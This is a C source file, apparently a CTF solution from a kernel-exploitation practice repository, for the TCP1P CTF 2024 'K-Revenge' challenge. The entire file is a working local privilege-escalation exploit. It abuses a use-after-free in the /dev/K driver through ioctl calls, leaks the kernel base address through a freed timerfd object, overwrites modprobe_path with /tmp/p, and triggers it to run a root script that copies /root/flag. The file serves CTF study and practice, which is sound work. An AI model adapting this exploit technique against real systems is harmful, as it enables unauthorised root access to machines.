Kernel-Exploit-Dojo/2024/TCP1P_CTF_2024/Pwn_K-Revenge/writeup/writeup01.c at main · mito753/Kernel-Exploit-Dojo · GitHub

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#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>

#define WRITE 0x1111
#define READ 0x2222
#define FREE 0x3333

struct data{
    unsigned long size;
    char *buff;
};

struct data Data;
char buff[0x1000];


//######################################################################
//######################################################################

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}


void pausa() {
    printf("[!] PAUSA - pulsa una tecla.\n");
    getchar();
}

int open_file(char *file, int flags, int verbose){
    int fd = open(file, flags);
    if (fd < 0) {
        fatal("[!] Error al abrir el archivo.");
    } else {
        if (verbose) printf("[*] %s abierto con fd %d.\n", file, fd);
    }
    return fd;
}

void dump_buffer(void *buf, int len) {
    printf("\n[i] Dumping %d bytes.\n\n", len);
    for (int i = 0; i < len; i += 0x10){
        printf("ADDR[%d, 0x%x]:\t%016lx: 0x", i / 0x08, i, (unsigned long)(buf + i));
        for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j));
        printf(" - 0x");
        for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j + 8));
        puts("");
    }
}

void timer_leak() {
    int timefd =  syscall(__NR_timerfd_create, CLOCK_REALTIME, 0);
    struct itimerspec itimerspec;

	itimerspec.it_interval.tv_sec = 0;
	itimerspec.it_interval.tv_nsec = 0;
	itimerspec.it_value.tv_sec = 100;
	itimerspec.it_value.tv_nsec = 0;

	timerfd_settime(timefd, 0, &itimerspec, 0);
	close(timefd);
	sleep(1);
}

void setup() {
	system("echo -ne '#!/bin/sh\ncat /root/flag > /tmp/flag' > /tmp/p");
	system("chmod a+x /tmp/p");
	system("echo -ne '\xff\xff\xff\xff' > /tmp/executeme");
	system("chmod a+x /tmp/executeme");
	printf("[i] Modprobe Setup done.\n");
}

void finish() {
	system("/tmp/executeme ; cat /tmp/flag");
}

//######################################################################
//######################################################################


int main(){

    setup();
    int fd = open_file("/dev/K", O_RDWR, 1);

    memset(buff, 0x41, 0x1000);

    Data.size = 0x100;
    Data.buff = buff;

    ioctl(fd, WRITE, &Data);
    memset(buff, 0, 0x1000);

    ioctl(fd, FREE, &Data);

    timer_leak();

    ioctl(fd, READ, &Data);

    unsigned long kernel_base = *((unsigned long *)Data.buff + 5) - 0x2fdb30;
    printf("[i] Kernel Base: 0x%lx\n", kernel_base);

    unsigned long modprobe = kernel_base + (0xffffffff8ab3f100 - 0xffffffff89000000);
    printf("[i] Modprobe: 0x%lx\n", modprobe);

    ioctl(fd, WRITE, &Data);

    memset(buff, 0, 0x1000);
    Data.size = 0x80;
    ioctl(fd, WRITE, &Data);
    ioctl(fd, READ, &Data);

    ioctl(fd, FREE, &Data);
    ioctl(fd, FREE, &Data);
    ioctl(fd, READ, &Data);
    dump_buffer(Data.buff, 0x80);

    *(unsigned long*)(buff + 0x40) = (unsigned long)modprobe - 0x30;
    memcpy(buff + 0x30, "/tmp/p\x00", 7);
    ioctl(fd, WRITE, &Data);
    ioctl(fd, WRITE, &Data);
    ioctl(fd, WRITE, &Data);

    finish();

    return 0;
}